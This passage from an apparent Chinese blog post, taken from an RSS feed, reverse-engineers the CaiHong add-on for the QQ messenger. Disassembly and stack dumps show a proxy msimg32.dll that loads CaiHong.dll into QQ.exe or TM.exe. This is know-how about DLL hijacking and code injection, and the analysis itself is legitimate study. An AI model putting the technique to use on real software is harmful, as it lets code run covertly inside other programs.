&nbsp; &nbsp; &nbsp; rep &nbsp; &nbsp; stos dword ptr es:[edi]<br/><br/><br/><br/> &nbsp;开始启动QQ了<br/><br/>0125845C &nbsp; &nbsp;6A 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0<br/>0125845E &nbsp; &nbsp;6A 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0<br/>01258460 &nbsp; &nbsp;6A 20 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;20<br/>01258462 &nbsp; &nbsp;6A 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0<br/>01258464 &nbsp; &nbsp;6A 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0<br/>01258466 &nbsp; &nbsp;6A 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0<br/>01258468 &nbsp; &nbsp;8D8D D8FCFFFF &nbsp; lea &nbsp; &nbsp; ecx, dword ptr [ebp-328]<br/>0125846E &nbsp; &nbsp;51 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;ecx<br/>0125846F &nbsp; &nbsp;8D95 D8FEFFFF &nbsp; lea &nbsp; &nbsp; edx, dword ptr [ebp-128]<br/>01258475 &nbsp; &nbsp;52 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;edx<br/>01258476 &nbsp; &nbsp;FF15 A8312C01 &nbsp; call &nbsp; &nbsp;dword ptr [<&KERNEL32.CreateProcessA>] &nbsp;; kernel32.CreateProcessA<br/>0125847C &nbsp; &nbsp;85C0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;test &nbsp; &nbsp;eax, eax<br/>0125847E &nbsp; &nbsp;75 0A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jnz &nbsp; &nbsp; short 0125848A<br/>01258480 &nbsp; &nbsp;C785 B0FBFFFF 0>mov &nbsp; &nbsp; dword ptr [ebp-450], 1<br/>0125848A &nbsp; &nbsp;C745 FC FFFFFFF>mov &nbsp; &nbsp; dword ptr [ebp-4], -1<br/>01258491 &nbsp; &nbsp;E8 02000000 &nbsp; &nbsp; call &nbsp; &nbsp;01258498<br/>01258496 &nbsp; &nbsp;EB 43 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; short 012584DB<br/>01258498 &nbsp; &nbsp;83BD C4FCFFFF 0>cmp &nbsp; &nbsp; dword ptr [ebp-33C], 0<br/>0125849F &nbsp; &nbsp;74 18 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; je &nbsp; &nbsp; &nbsp;short 012584B9<br/>012584A1 &nbsp; &nbsp;8B85 C4FCFFFF &nbsp; mov &nbsp; &nbsp; eax, dword ptr [ebp-33C]<br/>012584A7 &nbsp; &nbsp;50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;eax<br/>012584A8 &nbsp; &nbsp;FF15 AC312C01 &nbsp; call &nbsp; &nbsp;dword ptr [<&KERNEL32.CloseHandle>] &nbsp; &nbsp; ; kernel32.CloseHandle<br/>012584AE &nbsp; &nbsp;8B4D 08 &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, dword ptr [ebp+8]<br/><br/><br/><br/> 堆栈信息<br/><br/> <br/><br/>0012F4AC &nbsp; 0012FA74 &nbsp;&#124;ModuleFileName = "D:&#92;soft&#92;Tencent&#92;QQ2008II Beta1&#92;QQ.exe"<br/>0012F4B0 &nbsp; 0012F874 &nbsp;&#124;CommandLine = """D:&#92;soft&#92;Tencent&#92;QQ&#92;caihong hok&#92;CaiHong.exe"""<br/>0012F4B4 &nbsp; 00000000 &nbsp;&#124;pProcessSecurity = NULL<br/>0012F4B8 &nbsp; 00000000 &nbsp;&#124;pThreadSecurity = NULL<br/>0012F4BC &nbsp; 00000000 &nbsp;&#124;InheritHandles = FALSE<br/>0012F4C0 &nbsp; 00000020 &nbsp;&#124;CreationFlags = NORMAL_PRIORITY_CLASS<br/>0012F4C4 &nbsp; 00000000 &nbsp;&#124;pEnvironment = NULL<br/>0012F4C8 &nbsp; 00000000 &nbsp;&#124;CurrentDir = NULL<br/>0012F4CC &nbsp; 0012F4E4 &nbsp;&#124;pStartupInfo = 0012F4E4<br/>0012F4D0 &nbsp; 0012F860 &nbsp;&#92;pProcessInfo = 0012F860<br/>0012F4D4 &nbsp; 7C80B6A1 &nbsp;kernel32.GetModuleHandleA<br/>0012F4D8 &nbsp; 00000000<br/><br/><br/><br/>0040158F &nbsp; . &nbsp;52 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;edx<br/>00401590 &nbsp; . &nbsp;68 F8994000 &nbsp; push &nbsp; &nbsp;004099F8<br/>00401595 &nbsp; . &nbsp;68 F4994000 &nbsp; push &nbsp; &nbsp;004099F4<br/>0040159A &nbsp; . &nbsp;FF95 8CFEFFFF call &nbsp; &nbsp;dword ptr [ebp-174] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; &nbsp;原来在这里 回去caihong.exe了 打算功成身退了<br/>004015A0 &nbsp; . &nbsp;83C4 0C &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; esp, 0C<br/>004015A3 &nbsp; . &nbsp;8945 BC &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; dword ptr [ebp-44], eax<br/>004015A6 &nbsp; . &nbsp;8B45 BC &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, dword ptr [ebp-44]<br/>004015A9 &nbsp; . &nbsp;50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;eax<br/>004015AA &nbsp; . &nbsp;FF55 E4 &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;dword ptr [ebp-1C]<br/>004015AD &nbsp; . &nbsp;83C4 04 &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; esp, 4<br/>004015B0 &nbsp; > &nbsp;837D BC 00 &nbsp; &nbsp;cmp &nbsp; &nbsp; dword ptr [ebp-44], 0<br/>004015B4 &nbsp; . &nbsp;74 08 &nbsp; &nbsp; &nbsp; &nbsp; je &nbsp; &nbsp; &nbsp;short 004015BE<br/><br/>主要在msimg32.dll 里装载真正的msimg32.dll的函数 后启动一个线程<br/><br/>003A10EF &nbsp; &nbsp;CC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int3<br/>003A10F0 &nbsp; &nbsp;55 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;ebp<br/>003A10F1 &nbsp; &nbsp;8BEC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ebp, esp<br/>003A10F3 &nbsp; &nbsp;81EC 1C020000 &nbsp; sub &nbsp; &nbsp; esp, 21C<br/>003A10F9 &nbsp; &nbsp;A1 30903A00 &nbsp; &nbsp; mov &nbsp; &nbsp; eax, dword ptr [3A9030]<br/>003A10FE &nbsp; &nbsp;8945 FC &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; dword ptr [ebp-4], eax<br/>003A1101 &nbsp; &nbsp;68 03010000 &nbsp; &nbsp; push &nbsp; &nbsp;103<br/>003A1106 &nbsp; &nbsp;8D85 F0FEFFFF &nbsp; lea &nbsp; &nbsp; eax, dword ptr [ebp-110]<br/>003A110C &nbsp; &nbsp;50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;eax<br/>003A110D &nbsp; &nbsp;68 5C713A00 &nbsp; &nbsp; push &nbsp; &nbsp;003A715C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; ASCII "CaiHongPath"<br/>003A1112 &nbsp; &nbsp;FF15 20703A00 &nbsp; call &nbsp; &nbsp;dword ptr [<&KERNEL32.GetEnvironmentVariableA>] &nbsp; &nbsp;; kernel32.GetEnvironmentVariableA<br/>003A1118 &nbsp; &nbsp;85C0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;test &nbsp; &nbsp;eax, eax<br/>003A111A &nbsp; &nbsp;0F85 B6000000 &nbsp; jnz &nbsp; &nbsp; 003A11D6<br/>003A1120 &nbsp; &nbsp;68 04010000 &nbsp; &nbsp; push &nbsp; &nbsp;104<br/>003A1125 &nbsp; &nbsp;8D8D E8FDFFFF &nbsp; lea &nbsp; &nbsp; ecx, dword ptr [ebp-218]<br/>003A112B &nbsp; &nbsp;51 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;ecx<br/>003A112C &nbsp; &nbsp;6A 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0<br/>003A112E &nbsp; &nbsp;FF15 1C703A00 &nbsp; call &nbsp; &nbsp;dword ptr [<&KERNEL32.GetModuleFileNameA>] &nbsp; &nbsp; &nbsp; &nbsp; ; kernel32.GetModuleFileNameA<br/>003A1134 &nbsp; &nbsp;8D95 E8FDFFFF &nbsp; lea &nbsp; &nbsp; edx, dword ptr [ebp-218]<br/>003A113A &nbsp; &nbsp;52 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;edx<br/>003A113B &nbsp; &nbsp;FF15 18703A00 &nbsp; call &nbsp; &nbsp;dword ptr [<&KERNEL32.lstrlenA>] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; kernel32.lstrlenA<br/>003A1141 &nbsp; &nbsp;83E8 01 &nbsp; &nbsp; &nbsp; &nbsp; sub &nbsp; &nbsp; eax, 1<br/>003A1144 &nbsp; &nbsp;8985 E4FDFFFF &nbsp; mov &nbsp; &nbsp; dword ptr [ebp-21C], eax<br/>003A114A &nbsp; &nbsp;EB 0F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; short 003A115B<br/>003A114C &nbsp; &nbsp;8B85 E4FDFFFF &nbsp; mov &nbsp; &nbsp; eax, dword ptr [ebp-21C]<br/>003A1152 &nbsp; &nbsp;83E8 01 &nbsp; &nbsp; &nbsp; &nbsp; sub &nbsp; &nbsp; eax, 1<br/>003A1155 &nbsp; &nbsp;8985 E4FDFFFF &nbsp; mov &nbsp; &nbsp; dword ptr [ebp-21C], eax<br/>003A115B &nbsp; &nbsp;83BD E4FDFFFF 0>cmp &nbsp; &nbsp; dword ptr [ebp-21C], 0<br/>003A1162 &nbsp; &nbsp;7C 17 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jl &nbsp; &nbsp; &nbsp;short 003A117B<br/>003A1164 &nbsp; &nbsp;8B8D E4FDFFFF &nbsp; mov &nbsp; &nbsp; ecx, dword ptr [ebp-21C]<br/>003A116A &nbsp; &nbsp;0FBE940D E8FDFF>movsx &nbsp; edx, byte ptr [ebp+ecx-218]<br/>003A1172 &nbsp; &nbsp;83FA 5C &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; edx, 5C<br/>003A1175 &nbsp; &nbsp;75 02 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jnz &nbsp; &nbsp; short 003A1179<br/>003A1177 &nbsp; &nbsp;EB 02 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; short 003A117B<br/>003A1179 &nbsp;^ EB D1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; short 003A114C<br/>003A117B &nbsp; &nbsp;68 68713A00 &nbsp; &nbsp; push &nbsp; &nbsp;003A7168 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; ASCII "QQ.exe"<br/>003A1180 &nbsp; &nbsp;8B85 E4FDFFFF &nbsp; mov &nbsp; &nbsp; eax, dword ptr [ebp-21C]<br/>003A1186 &nbsp; &nbsp;8D8C05 E9FDFFFF lea &nbsp; &nbsp; ecx, dword ptr [ebp+eax-217]<br/>003A118D &nbsp; &nbsp;51 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;ecx<br/>003A118E &nbsp; &nbsp;FF15 14703A00 &nbsp; call &nbsp; &nbsp;dword ptr [<&KERNEL32.lstrcmpiA>] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; kernel32.lstrcmpiA<br/>003A1194 &nbsp; &nbsp;85C0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;test &nbsp; &nbsp;eax, eax<br/>003A1196 &nbsp; &nbsp;74 1D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; je &nbsp; &nbsp; &nbsp;short 003A11B5<br/>003A1198 &nbsp; &nbsp;68 70713A00 &nbsp; &nbsp; push &nbsp; &nbsp;003A7170 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; ASCII "TM.exe"<br/>003A119D &nbsp; &nbsp;8B95 E4FDFFFF &nbsp; mov &nbsp; &nbsp; edx, dword ptr [ebp-21C]<br/>003A11A3 &nbsp; &nbsp;8D8415 E9FDFFFF lea &nbsp; &nbsp; eax, dword ptr [ebp+edx-217]<br/>003A11AA &nbsp; &nbsp;50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;eax<br/>003A11AB &nbsp; &nbsp;FF15 14703A00 &nbsp; call &nbsp; &nbsp;dword ptr [<&KERNEL32.lstrcmpiA>] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; kernel32.lstrcmpiA<br/>003A11B1 &nbsp; &nbsp;85C0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;test &nbsp; &nbsp;eax, eax<br/>003A11B3 &nbsp; &nbsp;75 21 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jnz &nbsp; &nbsp; short 003A11D6<br/>003A11B5 &nbsp; &nbsp;68 78713A00 &nbsp; &nbsp; push &nbsp; &nbsp;003A7178 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; ASCII "CaiHong.dll"<br/>003A11BA &nbsp; &nbsp;8D8D F0FEFFFF &nbsp; lea &nbsp; &nbsp; ecx, dword ptr [ebp-110]<br/>003A11C0 &nbsp; &nbsp;51 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;ecx<br/>003A11C1 &nbsp; &nbsp;E8 BA010000 &nbsp; &nbsp; call &nbsp; &nbsp;003A1380<br/>003A11C6 &nbsp; &nbsp;83C4 08 &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; esp, 8<br/>003A11C9 &nbsp; &nbsp;8D95 F0FEFFFF &nbsp; lea &nbsp; &nbsp; edx, dword ptr [ebp-110]<br/>003A11CF &nbsp; &nbsp;52 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;edx<br/>003A11D0 &nbsp; &nbsp;FF15 08703A00 &nbsp; call &nbsp; &nbsp;dword ptr [<&KERNEL32.LoadLibraryA>] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; kernel32.LoadLibraryA<br/>003A11D6 &nbsp; &nbsp;33C0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp; eax, eax<br/>003A11D8 &nbsp; &nbsp;8B4D FC &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, dword ptr [ebp-4]<br/>003A11DB &nbsp; &nbsp;E8 75010000 &nbsp; &nbsp; call &nbsp; &nbsp;003A1355<br/>003A11E0 &nbsp; &nbsp;8BE5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; esp, ebp<br/>003A11E2 &nbsp; &nbsp;5D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp; ebp<br/>003A11E3 &nbsp; &nbsp;C2 0400 &nbsp; &nbsp; &nbsp; &nbsp; retn &nbsp; &nbsp;4<br/>003A11E6 &nbsp; &nbsp;CC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int3<br/><br/><br/>Tags - <a href="http://www.caisong.com//tag.php?tag=qq" rel="tag">qq</a> , <a href="http://www.caisong.com//tag.php?tag=caihong" rel="tag">caihong</a>
  ]]> 
</description>
</item>
</channel>
</rss>